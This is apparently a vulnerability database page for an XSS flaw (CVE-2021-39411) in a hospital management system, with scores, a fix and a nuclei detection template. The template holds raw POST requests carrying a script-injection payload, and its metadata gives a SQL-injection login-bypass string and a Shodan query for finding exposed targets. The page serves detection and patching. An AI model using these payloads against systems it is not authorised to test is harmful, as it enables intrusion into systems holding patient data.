HexBrain

Browse / CVEs / CVE-2021-39411

CVE-2021-39411· phptpoint / hospital management system· CWE-79

Hospital Management System 1.0 - Cross-Site Scripting

highseverity
7.2CVSS score
0.9%likelihood of exploitation, next 30 days
61%of all CVEs are less likely
Readycheck to confirm it

Hospital Management System 1.0 contains a cross-site scripting vulnerability via the searchdata parameter in doctor/search.php and patient-search.php.

Impact

Authenticated attackers can inject malicious JavaScript via XSS in the searchdata parameter, potentially stealing session cookies or performing unauthorized administrative actions.

Fix

Apply security patches or upgrade to Hospital Management System version 1.1 or later.

How to confirm it

Send: POST /hms/doctor/ ; POST /hms/doctor/search.php ; POST /hms/admin/ ; POST /hms/admin/patient-search.php
Positive when: contains(header_2, "text/html") || contains(header_4, "text/html") and status_code_2 == 200 || status_code_4 == 200 and contains(body_2, 'Result against \"<script>alert(document.domain)</script>\" ke…

Run it with nuclei: nuclei -id CVE-2021-39411 -u <target>

The full check
id: CVE-2021-39411

info:
  name: Hospital Management System 1.0 - Cross-Site Scripting
  author: arafatansari
  severity: high
  description: |
    Hospital Management System 1.0 contains a cross-site scripting vulnerability via the searchdata parameter in doctor/search.php and patient-search.php.
  impact: |
    Authenticated attackers can inject malicious JavaScript via XSS in the searchdata parameter, potentially stealing session cookies or performing unauthorized administrative actions.
  remediation: |
    Apply security patches or upgrade to Hospital Management System version 1.1 or later.
  reference:
    - https://vulmon.com/vulnerabilitydetails?qid=CVE-2021-39411&scoretype=cvssv3
    - https://nvd.nist.gov/vuln/detail/CVE-2021-39411
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
    cvss-score: 7.2
    cve-id: CVE-2021-39411
    epss-score: 0.00914
    epss-percentile: 0.60416
    cwe-id: CWE-79
    cpe: cpe:2.3:a:phptpoint:hospital_management_system:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 4
    shodan-query: http.html:"Hospital Management System"
    comment: Login bypass is also possible using the payload - admin'+or+'1'%3D'1' in username.
    product: hospital_management_system
    vendor: phptpoint
  tags: cve,cve2021,hms,hospital,cms,xss,authenticated,vuln

http:
  - raw:
      - |
        POST /hms/doctor/ HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        username={{username}}&password={{password}}&submit=
      - |
        POST /hms/doctor/search.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        searchdata=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&search=
      - |
        POST /hms/admin/ HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        username={{username}}&password={{password}}&submit=
      - |
        POST /hms/admin/patient-search.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        searchdata=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&search=

    matchers:
      - type: dsl
        dsl:
          - 'contains(header_2, "text/html") || contains(header_4, "text/html")'
          - "status_code_2 == 200 || status_code_4 == 200"
          - 'contains(body_2, ''Result against \"<script>alert(document.domain)</script>\" keyword'') || contains(body_4, ''Result against \"<script>alert(document.domain)</script>\" keyword'')'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from